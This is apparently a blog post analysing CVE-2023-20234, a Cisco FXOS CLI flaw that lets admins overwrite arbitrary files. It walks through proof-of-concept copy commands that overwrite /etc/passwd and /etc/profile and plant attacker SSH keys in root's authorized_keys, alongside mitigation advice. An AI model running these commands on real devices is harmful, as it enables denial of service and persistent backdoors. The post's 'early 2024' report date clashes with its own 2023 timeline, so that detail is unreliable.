CVE-2023-20234 - File Overwrite Vulnerability in Cisco FXOS CLI – Analysis, Code Example, and Exploit Walkthrough
In early 2024, a serious vulnerability labeled CVE-2023-20234 was reported in the Command-Line Interface (CLI) of Cisco’s FXOS Software (used for managing platforms like Cisco Firepower and Cisco Secure Firewall). This bug allows anyone with admin credentials to create or overwrite any file on the system, including vital system files, simply by misusing certain CLI commands.
Such a flaw could help a malicious admin (or even someone who stole admin credentials) to break the system, create persistent backdoors, or cause denial of service (DoS).
This post dives deep into how the bug works, why it happens, its real-world risk, and how you could test it (in a safe setting!). We'll keep it simple and add code snippets and reference links for further reading.
What’s the Issue?
A certain CLI command lets administrators specify a file path, but the software forgets to check if the input path is safe or allowed. This means someone could enter a path like /etc/passwd or /boot/config and overwrite it with something else—causing major issues.
Official Cisco Advisory
Cisco Advisory for CVE-2023-20234
Runs a CLI command (e.g., copy or a similar command intended for file manipulation).
3. Supplies a dangerous path as a destination file (example: /etc/shadow, /root/.ssh/authorized_keys, etc.).
The command proceeds without checking the path, and overwrites the target file.
No further privilege escalation is needed; just abusing existing commands as admin.
Imagine the device exposes a copy command usually meant for logs or configs
FXOS> copy running-config file://tmp/safe_backup.cfg
But the software does NOT check if the path is dangerous. So, a malicious admin does
FXOS> copy running-config file:///etc/passwd
This command would overwrite /etc/passwd with the running config, likely breaking logins and bricking the box.
## Proof of Concept: Code/Command Example
Here's a step-by-step reproduction, assuming you have admin CLI access (for educational purposes only):
# 1. SSH into the Cisco FXOS device as admin
ssh admin@192.168.1.10
# 2. Check your privilege (must be admin)
FXOS> show user
# 3. Overwrite a critical system file with a config (malicious)
FXOS> copy running-config file:///etc/profile
Result: /etc/profile is now a copy of your running config, possibly breaking the shell for everyone.
*Note: Do NOT try this on production systems. You will break stuff!*
Exploit Scenarios & Impacts
- Denial of Service (DoS): Overwriting important files can stop the device from booting or working properly.
- Persistence: An attacker could add their SSH keys as root by overwriting /root/.ssh/authorized_keys.
Suppose you generate an SSH key pair, and add your own public key to the admin user, you could do
FXOS> copy file://usb1/attacker_authorized_keys file:///root/.ssh/authorized_keys
Now, you can always SSH in, even if your initial account is removed.
Why Did This Happen?
The root cause is missing path sanitization. The software does not check if a user-supplied filename is pointing to a sensitive location before writing.
Best practice: Always limit write actions to specific directories, and never allow arbitrary absolute paths.
Patch ASAP: Cisco has provided patches and recommends updating FXOS software promptly.
- Cisco FXOS Software Downloads
Monitor logins: Track CLI logins and possible misuse of commands.
- Consider additional controls: If patching isn’t possible, restrict physical and network access to the device’s CLI.
References
- Cisco Official Advisory – CVE-2023-20234
- National Vulnerability Database Entry
- Cisco FXOS Documentation
Closing Thoughts
CVE-2023-20234 highlights that even trusted admin interfaces need to validate user input. This isn’t a remote exploit, but when insiders or compromised admin accounts come into play, it gives them the keys to the castle.
Always patch, always audit, and never trust unchecked file paths!
If you have any questions, want safer test examples, or want to know more, please send a comment or message. Stay safe!
Timeline
Published on: 08/23/2023 19:15:00 UTC
Last modified on: 09/05/2023 15:57:00 UTC